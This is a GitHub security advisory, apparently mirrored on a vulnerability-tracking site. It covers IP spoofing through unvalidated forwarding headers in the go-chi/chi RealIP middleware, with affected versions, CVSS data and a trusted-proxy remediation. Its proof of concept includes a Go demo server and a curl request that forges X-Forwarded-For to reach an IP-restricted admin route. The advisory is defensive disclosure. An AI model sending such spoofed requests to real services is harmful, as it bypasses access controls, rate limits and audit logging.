GHSA-RJR7-JGGH-PGCP
Vulnerability from github – Published: 2026-06-25 18:19 – Updated: 2026-06-25 18:19
VLAI
Summary
chi's RealIP Middleware allows IP spoofing via unvalidated X-Forwarded-For header
Details
Summary
realip middleware in go-chi/chi trusts headers like x-forwarded-for without checking them, so attackers can fake their ip and bypass rate limits or access controls
Details
the vuln is in middleware/realip.go , the realIP() function pulls IPs straight from client headers and replaces r.RemoteAddr without checking if the request came from a trusted proxy
func realIP(r *http.Request) string {
var ip string
if tcip := r.Header.Get(trueClientIP); tcip != "" {
ip = tcip // controlled by attacker
} else if xrip := r.Header.Get(xRealIP); xrip != "" {
ip = xrip // controlled by attacker
} else if xff := r.Header.Get(xForwardedFor); xff != "" {
ip, _, _ = strings.Cut(xff, ",") // controlled by attacker
}
// ...
return ip
}
no trusted proxy cidr check in place, any client can send these headers
PoC
create a server with chi and use realip middleware
package main
import (
"fmt"
"net/http"
"github.com/go-chi/chi/v5"
"github.com/go-chi/chi/v5/middleware"
)
func main() {
r := chi.NewRouter()
r.Use(middleware.RealIP)
r.Get("/admin", func(w http.ResponseWriter, r *http.Request) {
// ip-based access control got bypassed
if r.RemoteAddr == "127.0.0.1" {
w.Write([]byte("SECRET ADMIN DATA"))
return
}
http.Error(w, "Forbidden", 403)
})
http.ListenAndServe(":8080", r)
}
spoofed the ip to bypass access control
curl -H "X-Forwarded-For: 127.0.0.1" http://localhost:8080/admin
Impact
- ip-based access control bypass lets attackers reach restricted endpoints
- rate limiting bypass lets attackers avoid limits by rotating spoofed ips
- audit logs show fake ips picked by attacker instead of real ones
- attackers can get around geo ip restrictions
Remediation Recommendation
validate proxy cidr first before trusting forwarded ip headers
// add your reverse proxy ip addresses here
var trustedProxies = []net.IPNet{
{IP: net.ParseIP("10.0.0.0"), Mask: net.CIDRMask(8, 32)},
{IP: net.ParseIP("172.16.0.0"), Mask: net.CIDRMask(12, 32)},
{IP: net.ParseIP("192.168.0.0"), Mask: net.CIDRMask(16, 32)},
}
func isTrustedProxy(ip net.IP) bool {
for _, cidr := range trustedProxies {
if cidr.Contains(ip) {
return true
}
}
return false
}
Severity
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.5.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v2/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v3/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.3.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v4/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "4.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v5/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-290",
"CWE-348"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-25T18:19:15Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nrealip middleware in go-chi/chi trusts headers like x-forwarded-for without checking them, so attackers can fake their ip and bypass rate limits or access controls\n\n### Details\n\nthe vuln is in middleware/realip.go , the realIP() function pulls IPs straight from client headers and replaces r.RemoteAddr without checking if the request came from a trusted proxy\n\n```go\nfunc realIP(r *http.Request) string {\n var ip string\n if tcip := r.Header.Get(trueClientIP); tcip != \"\" {\n ip = tcip // controlled by attacker\n } else if xrip := r.Header.Get(xRealIP); xrip != \"\" {\n ip = xrip // controlled by attacker\n } else if xff := r.Header.Get(xForwardedFor); xff != \"\" {\n ip, _, _ = strings.Cut(xff, \",\") // controlled by attacker\n }\n // ...\n return ip\n}\n```\n\nno trusted proxy cidr check in place, any client can send these headers\n\n### PoC\n\ncreate a server with chi and use realip middleware\n\n```go\npackage main\n\nimport (\n \"fmt\"\n \"net/http\"\n \"github.com/go-chi/chi/v5\"\n \"github.com/go-chi/chi/v5/middleware\"\n)\n\nfunc main() {\n r := chi.NewRouter()\n r.Use(middleware.RealIP)\n\n r.Get(\"/admin\", func(w http.ResponseWriter, r *http.Request) {\n // ip-based access control got bypassed\n if r.RemoteAddr == \"127.0.0.1\" {\n w.Write([]byte(\"SECRET ADMIN DATA\"))\n return\n }\n http.Error(w, \"Forbidden\", 403)\n })\n\n http.ListenAndServe(\":8080\", r)\n}\n```\n\nspoofed the ip to bypass access control\n\n```bash\ncurl -H \"X-Forwarded-For: 127.0.0.1\" http://localhost:8080/admin\n```\n\n\n### Impact\n\n- ip-based access control bypass lets attackers reach restricted endpoints\n- rate limiting bypass lets attackers avoid limits by rotating spoofed ips\n- audit logs show fake ips picked by attacker instead of real ones\n- attackers can get around geo ip restrictions\n\n## Remediation Recommendation\n\nvalidate proxy cidr first before trusting forwarded ip headers\n\n```go\n// add your reverse proxy ip addresses here\nvar trustedProxies = []net.IPNet{\n {IP: net.ParseIP(\"10.0.0.0\"), Mask: net.CIDRMask(8, 32)},\n {IP: net.ParseIP(\"172.16.0.0\"), Mask: net.CIDRMask(12, 32)},\n {IP: net.ParseIP(\"192.168.0.0\"), Mask: net.CIDRMask(16, 32)},\n}\n\nfunc isTrustedProxy(ip net.IP) bool {\n for _, cidr := range trustedProxies {\n if cidr.Contains(ip) {\n return true\n }\n }\n return false\n}\n```",
"id": "GHSA-rjr7-jggh-pgcp",
"modified": "2026-06-25T18:19:15Z",
"published": "2026-06-25T18:19:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-chi/chi/security/advisories/GHSA-rjr7-jggh-pgcp"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-chi/chi"
},
{
"type": "WEB",
"url": "https://github.com/go-chi/chi/releases/tag/v5.3.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "chi\u0027s RealIP Middleware allows IP spoofing via unvalidated X-Forwarded-For header"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…